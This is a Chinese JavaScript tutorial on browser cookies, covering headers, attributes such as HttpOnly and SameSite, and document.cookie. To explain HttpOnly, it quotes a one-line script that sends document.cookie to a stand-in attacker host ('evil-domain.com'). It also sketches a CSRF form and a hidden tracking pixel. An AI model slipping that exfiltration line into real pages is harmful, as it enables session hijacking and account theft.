【JavaScript 漫游】【033】Cookie 总结

星空夜晚

文章简介

本篇文章为【JavaScript 漫游】专栏的第 033 篇文章，主要记录了浏览器模型中 Cookie 相关的知识点。

Cookie 概述

Cookie 是服务器保存在浏览器的一小段文本信息，一般大小不能超过4KB。浏览器每次向服务器发出请求，就会自动附上这段信息。

Cookie 主要保存状态信息，以下是一些主要用途。

  • 对话（session）管理：保存登录、购物车等需要记录的信息。
  • 个性化信息：保存用户的偏好，比如网页的字体大小、背景色等等。
  • 追踪用户：记录和分析用户行为。

Cookie 不是一种理想的客户端储存机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。

每个 Cookie 都有以下几方面的元数据。

  • Cookie 的名字
  • Cookie 的值（真正的数据写在这里面）
  • 到期时间（超过这个时间会失效）
  • 所属域名（默认为当前域名）
  • 生效的路径（默认为当前网址）

举例来说，用户访问网址 www.example.com，服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example.com，生效路径为根路径 /。如果 Cookie 的生效路径设为 /forums，那么这个 Cookie 只有在访问 www.example.com/forums 及其子路径时才有效。以后，浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。

用户可以设置浏览器不接受 Cookie，也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled 属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。

window.navigator.cookieEnabled // true

document.cookie 属性返回当前网页的 Cookie。

document.cookie // "id=foo;key=bar"

不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过4KB。超过限制以后，Cookie 将被忽略，不会被设置。

浏览器的同源政策规定，两个网址只要域名相同，就可以共享 Cookie。

Cookie 的生成与发送

Cookie 的生成

服务器如果希望在浏览器保存 Cookie，就要在 HTTP 响应的头信息里面，放置一个 Set-Cookie 字段。

Set-Cookie: foo=bar

上面代码会在浏览器保存一个名为 foo 的 Cookie，值为 bar。

HTTP 响应可以包含多个 Set-Cookie 字段，即在浏览器生成多个 Cookie。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值，Set-Cookie 字段还可以附加 Cookie 的属性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

一个Set-Cookie字段里面，可以同时包括多个属性，没有次序的要求。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie，必须同时满足四个条件：Cookie 的 key、domain、path 和 secure 都匹配。

Cookie 的发送

浏览器向服务器发送 HTTP 请求时，每个请求都会带上相应的 Cookie。也就是说，把服务器早前保存在浏览器的这段信息，再发回服务器。这时要使用 HTTP 头信息的 Cookie 字段。

Cookie: foo=bar

上面的代码会向服务器发送名为 foo 的 Cookie，值为 bar

Cookie 字段可以包含多个 Cookie，使用分号（;）分隔。

Cookie: name=value; name2=value2; name3=value3

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时，有两点是无法知道的。

  • Cookie 的各种属性，比如何时过期
  • 哪个域名设置的 Cookie，到底是一级域名设的，还是某一个二级域名设的

Cookie 的属性

Expires

指定一个具体的到期时间，到了指定时间以后，浏览器就不再保留这个 Cookie。它的值是 UTC 格式，可以使用Date.prototype.toUTCString() 进行格式转换。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性，或者设为 null，Cookie 只在当前会话（session）有效，浏览器窗口一旦关闭，当前 Session 结束，该 Cookie 就会被删除。另外，浏览器根据本地时间，决定 Cookie 是否过期，由于本地时间是不精确的，所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age

从现在开始 Cookie 存在的秒数，比如 60 * 60 * 24 * 365（即一年）。过了这个时间以后，浏览器就不再保留这个 Cookie。

如果同时指定了 Expires 和 Max-Age，那么 Max-Age 的值将优先生效。

如果 Set-Cookie 字段没有指定 Expires 或 Max-Age 属性，那么这个 Cookie 就是 Session Cookie，即它只在本次对话存在，一旦用户关闭浏览器，浏览器就不会再保留这个 Cookie。

Domain

Domain 属性指定浏览器发出 HTTP 请求时，哪些域名要附带这个 Cookie。如果没有指定该属性，浏览器会默认将其设为当前域名，这时子域名将不会附带这个 Cookie。比如，example.com 不设置 Cookie 的 domain 属性，那么 sub.example.com 将不会附带这个 Cookie。如果指定了 domain 属性，那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名，浏览器会拒绝这个 Cookie。

Path 属性指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。只要浏览器发现，Path 属性是 HTTP 请求路径的开头一部分，就会在头信息里面带上这个 Cookie。比如，PATH属性是 /，那么请求 /docs` 路径也会包含该 Cookie。当然，前提是域名必须一致。

Secure

Secure 属性指定浏览器只有在加密协议 HTTPS 下，才能将这个 Cookie 发送到服务器。另一方面，如果当前协议是 HTTP，浏览器会自动忽略服务器发来的 Secure 属性。该属性只是一个开关，不需要指定值。如果通信是 HTTPS 协议，该开关自动打开。

HttpOnly

HttpOnly 属性指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是 document.cookie 属性、XMLHttpRequest 对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码，能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性，上面代码就不会读到该 Cookie。

SameSite

Chrome 51 开始，浏览器的 Cookie 新增加了一个 SameSite 属性，用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息，恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求，这就是 CSRF 攻击。

举例来说，用户登陆了银行网站 your-bank.com，银行服务器发来了一个 Cookie。

Set-Cookie:id=a3fWa;

用户后来又访问了恶意网站 malicious.com，上面有一个表单。

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用户一旦被诱骗发送这个表单，银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击，表单一般都带有一个随机 token，告诉服务器这是真实请求。

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

这种第三方网站引导发出的 Cookie，就称为第三方 Cookie。它除了用于 CSRF 攻击，还可以用于用户追踪。比如，Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook.com" style="visibility:hidden;">

浏览器加载上面代码时，就会向 Facebook 发出带有 Cookie 的请求，从而 Facebook 就会知道你是谁，访问了什么网站。

Cookie 的SameSite属性用来限制第三方 Cookie，从而减少安全风险。它可以设置三个值。

  • Strict
  • Lax
  • None

Strict 最为严格，完全禁止第三方 Cookie，跨站点时，任何情况下都不会发送 Cookie。换言之，只有当前网页的 URL 与请求目标一致，才会带上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格，可能造成非常不好的用户体验。比如，当前网页有一个 GitHub 链接，用户点击跳转就不会带有 GitHub 的 Cookie，跳转过去总是未登陆状态。

Lax 规则稍稍放宽，大多数情况也是不发送第三方 Cookie，但是导航到目标网址的 Get 请求除外。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求，只包括三种情况：链接，预加载请求，GET 表单。

请求类型示例正常情况Lax
链接<a href="..."></a>发送 Cookie发送 Cookie
预加载<link rel="prerender" href="..."/>发送 Cookie发送 Cookie
GET 表单<form method="GET" action="...">发送 Cookie发送 Cookie
POST 表单<form method="POST" action="...">发送 Cookie不发送
iframe<iframe src="..."></iframe>发送 Cookie不发送
AJAX$.get("...")发送 Cookie不发送
Image<img src="...">发送 Cookie不发送

设置了 Strict 或 Lax 以后，基本就杜绝了 CSRF 攻击。当然，前提是用户浏览器支持 SameSite 属性。

Chrome 计划将 Lax 变为默认设置。这时，网站可以选择显式关闭 SameSite 属性，将其设为 None。不过，前提是必须同时设置 Secure 属性（Cookie 只能通过 HTTPS 协议发送），否则无效。

下面的设置无效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的设置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

document.cookie

Cookie 不设置 HTTPOnly 的情况下，document.cookie 属性可以读写当前网页的 Cookie。

document.cookie; // "foo=bar;baz=bar"

var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

// 为当前网站添加 Cookie
document.cookie = 'fontSize=14';

写入的时候，Cookie 的值必须写成 key=value 的形式。注意，等号两边不能有空格。另外，写入 Cookie 的时候，必须对分号、逗号和空格进行转义（它们都不允许作为 Cookie 的值），这可以用 encodeURIComponent 方法达到。

但是，document.cookie 一次只能写入一个 Cookie，而且写入并不是覆盖，而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie 读写行为的差异（一次可以读出全部 Cookie，但是只能写入一个 Cookie），与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候，Cookie字段是使用一行将所有 Cookie 全部发送；服务器向浏览器设置 Cookie 的时候，Set-Cookie 字段是一行设置一个 Cookie。

写入 Cookie 的时候，可以一起写入 Cookie 的属性。

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

Cookie 的属性一旦设置完成，就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法，是设置它的 expires 属性为一个过去的日期。

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